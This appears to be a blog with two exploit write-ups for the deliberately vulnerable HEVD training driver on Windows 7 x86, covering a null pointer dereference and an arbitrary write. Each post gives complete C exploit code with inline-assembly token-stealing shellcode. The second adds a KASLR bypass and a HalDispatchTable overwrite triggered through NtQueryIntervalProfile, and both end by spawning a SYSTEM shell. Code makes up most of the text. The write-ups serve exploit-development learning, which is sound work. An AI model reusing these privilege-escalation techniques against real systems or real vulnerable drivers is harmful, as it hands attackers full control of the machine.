Windows7 x86 null pointer Dereference

 Hello, In the previous post we have exploited the HEVD Arbitrary Write on windows 7 x86. Today, I will be doing the HEVD Null Pointer Dereference vuln . The source code to the bug is here: https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/NullPointerDereference.c . There are lot of post on HEVD , I also looked on some of them h0mbre for making my exploit and learning the exploit methodology. 

NOTE: Null pointer dereference was mitigated in windows 8 in both 32 bit and 64 bit machine  .You can look at windows mitigation here  https://github.com/nccgroup/exploit_mitigations/blob/main/windows_mitigations.md . This mitigation killed almost all the null pointer dereference exploits (maybe be possible).

Source Code Analysis

The function TriggerNullPointerDereference takes the userBuffer from the NullPointerDereferenceIoctlHandler  and 

stores it in the Uservalue and compares it with the Magic Value 0xbadobobo  and if they are equal it the function address of NullPointerdereferenceObjectCallback .

typedef struct _NULL_POINTER_DEREFERENCE
{
    ULONG Value;
    FunctionPointer Callback;
} NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;

 //
        // Get the value from user mode
        //

        UserValue = *(PULONG)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);

        //
        // Validate the magic value
        //

        if (UserValue == MagicValue)
        {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;

            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else
        {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);

            //
            // Free the allocated Pool chunk
            //

            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

            //
            // Set to NULL to avoid dangling pointer
            //

            NullPointerDereference = NULL;
        }

The Bug is in this part of this part of the where it doesn't check whether the NullPointerDereference->callback  is null or not. 

#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        //

        if (NullPointerDereference)
        {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");

        //
        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        //

        NullPointerDereference->Callback();

Mapping NullPage

So, If we send some junk value in the userBuffer , then the compares fail and the NullPointerDereference struct remains NULL and it will be executed then . If we put our TokenStealingPayload at the null address then our payload gets executed . We have to map memory at that address for this we will be NtAllocateVirtualMemory windows API to allocate memory at 0x0 and size of 0x1000(4kb). I used the function created by HackSysTeam . 

BOOL mapnullpage() 
{
	HMODULE hntdll;
	SIZE_T RegionSize = 0x1000;

	PVOID BaseAddress = (PVOID)0x1;

	hntdll = GetModuleHandle(TEXT("ntdll.dll"));

	if (hntdll)
	{
		NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
		
		if (!NtAllocateVirtualMemory) {
			printf("[!] Failed to Resolve NtAllocateVirtualMemory\n");
		}

		BOOL ret = NtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress,
			0, &RegionSize,
			MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
			PAGE_EXECUTE_READWRITE);

		if (ret) {
			printf("Failed to allocate Virtual Memory \n");
		}
		else {
			printf("[+] ALLOCATION ADDRESS: 0x%p\n", BaseAddress);
			printf("[+] ALLOCATION SIZE: 0x%X\n", RegionSize);
		}

		FreeLibrary(hntdll);
	}
	else {
		printf("[!] Failed to open handle to ntdll.dll\n");
	}

	return TRUE;
}

One thing to notice here is that we have used the BaseAddress as 0x1 beacuse if it is 0x0 it will allocate address at random address instead of 0x0 and this function round up the value to page address boundary so its get round up to 0x0.

Final Payload

Finally we will add our tokenStealing Payload at NULL address + 0x4 because the function is calling at and offset of 0x4.

#include <Windows.h>
#include <stdio.h>

//device path
#define HEVD_PATH "\\\\.\\HackSysExtremeVulnerableDriver"

//CTL macro
#define IOCTL(function) CTL_CODE(FILE_DEVICE_UNKNOWN, function, METHOD_NEITHER, FILE_ANY_ACCESS)

//ioctl number
#define NULL_DEREF IOCTL(0x80A)

// NtAllocateVirtualMemory function typedef
typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(IN HANDLE ProcessHandle,
	IN OUT PVOID* BaseAddress,
	IN ULONG      ZeroBits,
	IN OUT PULONG AllocationSize,
	IN ULONG      AllocationType,
	IN ULONG      Protect);

NtAllocateVirtualMemory_t     NtAllocateVirtualMemory;

PVOID NullBaseAddress = NULL;
PVOID AddressToBeCalled = NULL;

// Map NULL address
BOOL mapnullpage() 
{
	HMODULE hntdll;
	SIZE_T RegionSize = 0x1000;

	PVOID BaseAddress = (PVOID)0x1;

	hntdll = GetModuleHandle(TEXT("ntdll.dll"));

	if (hntdll)
	{
		NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
		
		if (!NtAllocateVirtualMemory) {
			printf("[!] Failed to Resolve NtAllocateVirtualMemory\n");
		}

		BOOL ret = NtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress,
			0, &RegionSize,
			MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
			PAGE_EXECUTE_READWRITE);

		if (ret) {
			printf("Failed to allocate Virtual Memory \n");
		}
		else {
			printf("[+] ALLOCATION ADDRESS: 0x%p\n", BaseAddress);
			printf("[+] ALLOCATION SIZE: 0x%X\n", RegionSize);
		}

		FreeLibrary(hntdll);
	}
	else {
		printf("[!] Failed to open handle to ntdll.dll\n");
	}

	return TRUE;
}

#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID

//Token Stealing payload

VOID TokenStealingPayload() {
	__asm {
		pushad									; Save registers state

		; Start of Token Stealing Stub

		xor eax, eax							; Set ZERO
		mov eax, fs: [eax + KTHREAD_OFFSET]		; Get nt!_KPCR.PcrbData.CurrentThread
												; _KTHREAD is located at FS : [0x124]

		mov eax, [eax + EPROCESS_OFFSET]		; Get nt!_KTHREAD.ApcState.Process

		mov ecx, eax							; Copy current process _EPROCESS structure

		mov edx, SYSTEM_PID						; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
			mov eax, [eax + FLINK_OFFSET]		; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx			; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

		mov edx, [eax + TOKEN_OFFSET]			; Get SYSTEM process nt!_EPROCESS.Token
		mov[ecx + TOKEN_OFFSET], edx			; Replace target process nt!_EPROCESS.Token
												; with SYSTEM process nt!_EPROCESS.Token
		; End of Token Stealing Stub

		popad									; Restore registers state	
	}
}


INT main()
{
	//Any Junk value
	ULONG MagicValue = 0xDEADBEEF;

	//open handle to HEVD
	HMODULE h = CreateFileA(HEVD_PATH,
		FILE_READ_ACCESS | FILE_WRITE_ACCESS,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
		NULL);

	if (h == INVALID_HANDLE_VALUE) {
		printf("[!] Failed to open handle to HEVD.\n");
	}
	else {
		printf("[+] Handle Opened Successfully\n");
	}

	// Map Null address for shellcode 
	if (!mapnullpage()) {
		printf("[!]Failed to map NULL Address\n");
	}
	else {
		printf("[+] NULL Address mapped Successfully\n");
	}

	// Address that is going to be executed
	AddressToBeCalled = (PVOID)((ULONG)NullBaseAddress + 0x4);

	PVOID EopPayload = &TokenStealingPayload;

	//Adding the function pointer of TokenStealingPayload
	*(PULONG)AddressToBeCalled = (ULONG)EopPayload;


	ULONG BytesReturned;

	//Calling NULL_DEREFERENCE_IOCTL_HANDLER
	BOOL ret = DeviceIoControl(h,
		NULL_DEREF,
		(LPVOID)&MagicValue,
		(DWORD)sizeof(MagicValue)
		, NULL, 0, &BytesReturned, NULL);

	if (ret) {
		printf("[+] IOCTL opened Successfully.\n");
	}
	else {
		printf("[!] Failed to open IOCTL \n");
	}

	printf("[+] Spawning system shell.\n");

	//shell

	system("cmd.exe");

	return EXIT_SUCCESS;
}

We got the System Shell.

Thanks .Peace.

Windows 7 x86 Arbitrary Write

 In the Previous post , We have exploited HEVD StackOverflow on Windows 7 x86.Today, I will try another Vulnerability on the same system Arbitrary Write also know as Write-What-Where . I referenced @33y0re blogpost for learning the technique used in this blog. Thanks Connor McGarr.

First look at the header file of Arbitrary Write :

typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

Here you can see that typedef  is used to create a data type WRITE_WHAT_WHERE  and a pointer to it PWRITE_WHAT_WHERE .  This is a common way in which most typedefs are created in windows. 

Now Looking at the arbitrary_write.c file 

NTSTATUS
TriggerArbitraryWrite(
    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)

The function TriggerArbitraryWrite  takes input UserWriteWhatWhere which is a pointer to the WRITE_WHAT_WHERE structure .

       DbgPrint("[+] Triggering Arbitrary Write\n");

        //
        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        //

        *(Where) = *(What);

 Looking at the Vulnerability , you can see that you have have permission to choose what and where . It doesn't whether the where is a usermode address or kernel mode. So , We can now write at any Kernel mode address with any value we want.

What Next??????

The Next question comes to mind that where should write now then. In the previous exploit we wrote our token stealing payload to the return address, but there is no return address here.

There is a way which is the HALDispatchTable. NtQueryIntervalProfile is an undocumented Windows API exported by ntdll.dll that calls the KeQueryIntervalProfile which calls the  2nd offset of HALDispatchTable .

So, using our Arbitrary write we can write to this offset, and then we will call this windows API NtQueryIntervalprofile to execute our tokenstealingPayload.

BUT  KASLR (kernel Address space Layout Randomization) was added in windows 7 ( not surely) which randomizes the base address of ntoskrnl.exe (almost windows kernel) upon every reboot . From there we can get the address of HalDispatchTable + 0x4 , so that we can overwrite it.

So, first we need to find the address of ntoskrnl.exe .

KALSR BYPASS

There is a very useful function provided by Microsoft is the EnumDeviceDrivers

which enumerates all the drivers and put it in a list. Then we will use another windows API GetDeviceDriverBaseName to check the name of the drivers using the address we found using EnumDeviceDrivers. 

Listing all the loaded drivers on the system :

#include <Windows.h>
#include <Psapi.h>
#include <stdio.h>
#include <tchar.h>

#define ARRAY_SIZE 1024

INT main(void)
{
	LPVOID drivers[ARRAY_SIZE];
	DWORD cbNeeded;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {

		TCHAR szdriver[ARRAY_SIZE];
		int cdriver = cbNeeded / sizeof(drivers[0]);

		printf("[#] There are %d drivers.\n", cdriver);
		for (int i = 0; i < cdriver; i++) {

			if (GetDeviceDriverBaseName(drivers[i], szdriver, sizeof(szdriver) / sizeof(szdriver[0]))){
				_tprintf(TEXT("[#] Driver address : 0x%p , Driver Name : %s \n"), drivers[i], &szdriver);
			}
			else {
				printf("[!] GetDeviceDriverBaseName Error....\n");
			}
		}
	}
	else {
		printf("[!] EnumDeviceDriver Failed .....\n");
	}
}

The Output will be something like this (your address may be different)

NOTE: Your system may have different kernel executable loaded by system depending on the RAM and the CPU cores. You can take a look here ntoskrnl.exe 

for checking about SMP and PAE.

Now we compare the drivers name with ntkrnlpa.exe to find the base address of the kernel.

#include <Windows.h>
#include <Psapi.h>
#include <stdio.h>
#include <tchar.h>

#define ARRAY_SIZE 1024

INT main(void)
{
	LPVOID drivers[ARRAY_SIZE];
	DWORD cbNeeded;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {

		TCHAR szdriver[ARRAY_SIZE];
		int cdriver = cbNeeded / sizeof(drivers[0]);

		printf("[#] There are %d drivers.\n", cdriver);
		for (int i = 0; i < cdriver; i++) {

			if (GetDeviceDriverBaseName(drivers[i], szdriver, sizeof(szdriver) / sizeof(szdriver[0]))){
				if (!_tcscmp(szdriver,_T("ntkrnlpa.exe"))) {
					_tprintf(TEXT("[#####] %d : %s found at : 0x%p\n"),i+1, &szdriver, drivers[i]);
					break;
				}
				else {
					printf("[!!] Doesn't found ntoskrnl.exe\n");
				}
			}
			else {
				printf("[!] GetDeviceDriverBaseName Error....\n");
			}
		}
	}
	else {
		printf("[!] EnumDeviceDriver Failed .....\n");
	}

Now , we will use LoadLibrayExA API to load ntoskrnl.exe  and get the offset of HalDispatchTable  using GetProcAddress, then add the kernel base address to it .

 #include <Windows.h>
#include <Psapi.h>
#include <stdio.h>
#include <tchar.h>

#define ARRAY_SIZE 1024

INT main(void)
{
	LPVOID drivers[ARRAY_SIZE];
	LPVOID kBase = NULL;
	DWORD cbNeeded;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {

		TCHAR szdriver[ARRAY_SIZE];
		int cdriver = cbNeeded / sizeof(drivers[0]);

		printf("[#] There are %d drivers.\n", cdriver);
		for (int i = 0; i < cdriver; i++) {

			if (GetDeviceDriverBaseName(drivers[i], szdriver, sizeof(szdriver) / sizeof(szdriver[0]))) {
				if (!_tcscmp(szdriver, _T("ntkrnlpa.exe"))) {
					_tprintf(TEXT("[#####] %d : %s found at : 0x%p\n"), i + 1, &szdriver, drivers[i]);
					kBase = drivers[i];
					break;
				}
				else {
					printf("[!!] Doesn't found ntoskrnl.exe\n");
				}
			}
			else {
				printf("[!] GetDeviceDriverBaseName Error....\n");
			}
		}
	}
	else {
		printf("[!] EnumDeviceDriver Failed .....\n");
	}

	//HMODULE kUsermode = NULL;
	HMODULE kUsermode = LoadLibraryExA("ntkrnlpa.exe",
		NULL, DONT_RESOLVE_DLL_REFERENCES);

	if (!kUsermode) {
		printf("[#]Failed to load ntoskrnl.exe\n");
		exit(EXIT_FAILURE);
	}

	LPVOID HalDispatchTable = NULL;

	HalDispatchTable = (LPVOID)GetProcAddress(kUsermode, "HalDispatchTable");

	if (!HalDispatchTable) {
		printf("Error Resolving HalDispatchTable \n");
	}

	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable - (ULONG_PTR)kUsermode);

	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable + (ULONG_PTR)kBase);

	printf("HalDispatchTable : 0x%p\n", HalDispatchTable);

}

Lets check the value with windbg debugger.

Nice, Both the values are same in debugger as well as in our code.

 Final Payload

The final exploit after adding the token stealing payload that we used in the our previous blog but this time we don't need the kernel recovery stub because we are not overwriting any return address here .

#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <tchar.h>
#include <stdio.h>

// device path
#define HEVD_PATH "\\\\.\\HackSysExtremeVulnerableDriver"

//define IOCTL using CTL macro
#define IOCTL(function) CTL_CODE(FILE_DEVICE_UNKNOWN, function, METHOD_NEITHER, FILE_ANY_ACCESS)

//IOCTL for Arbitrary Write
#define AAW_IOCTL_NUMBER IOCTL(0x802)

//drivers array size
#define ARRAY_SIZE 1024

// AAW struct
typedef struct WRITE_WHAT_WHERE
{
	PULONG_PTR What;
	PULONG_PTR Where;
}WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

// NtQueryIntervalProfile function 
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);

NtQueryIntervalProfile_t NtQueryIntervalProfile; 

#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID

//Token Stealing payload

VOID TokenStealingPayload() {
	__asm {
		pushad								; Save registers state

		; Start of Token Stealing Stub

		xor eax, eax						        ; Set ZERO
		mov eax, fs: [eax + KTHREAD_OFFSET]                             ; Get nt!_KPCR.PcrbData.CurrentThread
										; _KTHREAD is located at FS : [0x124]

		mov eax, [eax + EPROCESS_OFFSET]	                        ; Get nt!_KTHREAD.ApcState.Process

		mov ecx, eax						        ; Copy current process _EPROCESS structure

		mov edx, SYSTEM_PID					        ; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
			mov eax, [eax + FLINK_OFFSET]	                        ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx                              ; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

		mov edx, [eax + TOKEN_OFFSET]		                        ; Get SYSTEM process nt!_EPROCESS.Token
		mov [ecx + TOKEN_OFFSET], edx		                        ; Replace target process nt!_EPROCESS.Token
										; with SYSTEM process nt!_EPROCESS.Token
		; End of Token Stealing Stub

		popad								; Restore registers state
	}
}

INT main(void)
{
	//KASLR BYPASS
	PVOID drivers[ARRAY_SIZE];
	LPVOID kBase = NULL;
	DWORD cbNeeded;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {

		TCHAR szdriver[ARRAY_SIZE];
		int cdriver = cbNeeded / sizeof(drivers[0]);

		printf("[#] There are %d drivers.\n", cdriver);
		for (int i = 0; i < cdriver; i++) {

			if (GetDeviceDriverBaseName(drivers[i], szdriver, sizeof(szdriver) / sizeof(szdriver[0]))) {
				if (!_tcscmp(szdriver, _T("ntkrnlpa.exe"))) {
					_tprintf(TEXT("[#####] %d : %s found at : 0x%p\n"), i + 1, &szdriver, drivers[i]);
					kBase = drivers[i];
					break;
				}
				else {
					printf("[!!] Doesn't found ntoskrnl.exe\n");
				}
			}
			else {
				printf("[!] GetDeviceDriverBaseName Error....\n");
			}
		}
	}
	else {
		printf("[!] EnumDeviceDriver Failed .....\n");
	}

	// Loading ntkrnlpa.exe 

	HMODULE kUsermode = LoadLibraryExA("ntkrnlpa.exe",
		NULL, DONT_RESOLVE_DLL_REFERENCES);

	if (!kUsermode) {
		printf("[#]Failed to load ntkrnlpa.exe\n");
		exit(EXIT_FAILURE);
	}

	LPVOID HalDispatchTable = NULL;

	HalDispatchTable = (LPVOID)GetProcAddress(kUsermode, "HalDispatchTable");

	if (!HalDispatchTable) {
		printf("Error Resolving HalDispatchTable \n");
	}

	// Subtracting Usermode Address
	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable - (ULONG_PTR)kUsermode);

	// Adding kernel Base
	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable + (ULONG_PTR)kBase);

	printf("HalDispatchTable : 0x%p\n", HalDispatchTable);

	//We want the address of HalDispatch Table + 0x4
	HalDispatchTable = (LPVOID)((ULONG_PTR)HalDispatchTable + 0x4);

	//Open handle to HEVD
	HANDLE h = CreateFileA(HEVD_PATH,
		FILE_READ_ACCESS | FILE_WRITE_ACCESS,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
		NULL);

	if (h == INVALID_HANDLE_VALUE) {
		printf("[!] Failed to Open handle to HEVD\n");
	}
	else {
		printf("[#] Successfully opened handle to HEVD...\n");
	}

	PWRITE_WHAT_WHERE writewhatwhere ;
	writewhatwhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE));

	if (!writewhatwhere) {
		printf("[!] Failed to allocate memory for writewhatwhere\n");
	}

	PVOID EopPayload = &TokenStealingPayload;

	printf("[#] Address of EopPaylod : 0x%p\n", EopPayload);

	writewhatwhere->What = (PULONG_PTR) &EopPayload;
	writewhatwhere->Where = (PULONG_PTR)HalDispatchTable;

	ULONG BytesReturned;
	//Caling AAW IOCTL handler
	BOOL ret = DeviceIoControl(h,
		AAW_IOCTL_NUMBER,
		(LPVOID)writewhatwhere,
		(DWORD)sizeof(WRITE_WHAT_WHERE),
		NULL,
		0,
		&BytesReturned,
		NULL);

	if (ret) {
		printf("[#] IOCTL opened Successfully...\n");
	}
	else {
		printf("[!] Error Opening IOCTL\n");
	}

	//Call NtQueryIntervalProfile to call HalDispatchTable + 0x4

	HMODULE ntdll = NULL;
	ntdll = LoadLibraryA("ntdll.dll");

	if (!ntdll) {
		printf("Failed to open handle to ntdll.dll\n");
		exit(EXIT_FAILURE);
	}

	NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(ntdll, "NtQueryIntervalProfile");


	// Executing shellcode
	ULONG Interval = 0;
	NtQueryIntervalProfile(0x1337, &Interval);
`               HeapFree(GetProcessHeap(), 0, (LPVOID)writewhatwhere);

	writewhatwhere = NULL;

	printf("[###] Spawning nt authority/shell \n");

	system("cmd.exe");

	return EXIT_SUCCESS;
}

Finally after calling NtQueryIntervalProfile , our payload get executed.

SHELL(NT AUTHORITY/SYSTEM)

We became the NT AUTHORITY/SYSTEM.

Thanks . Peace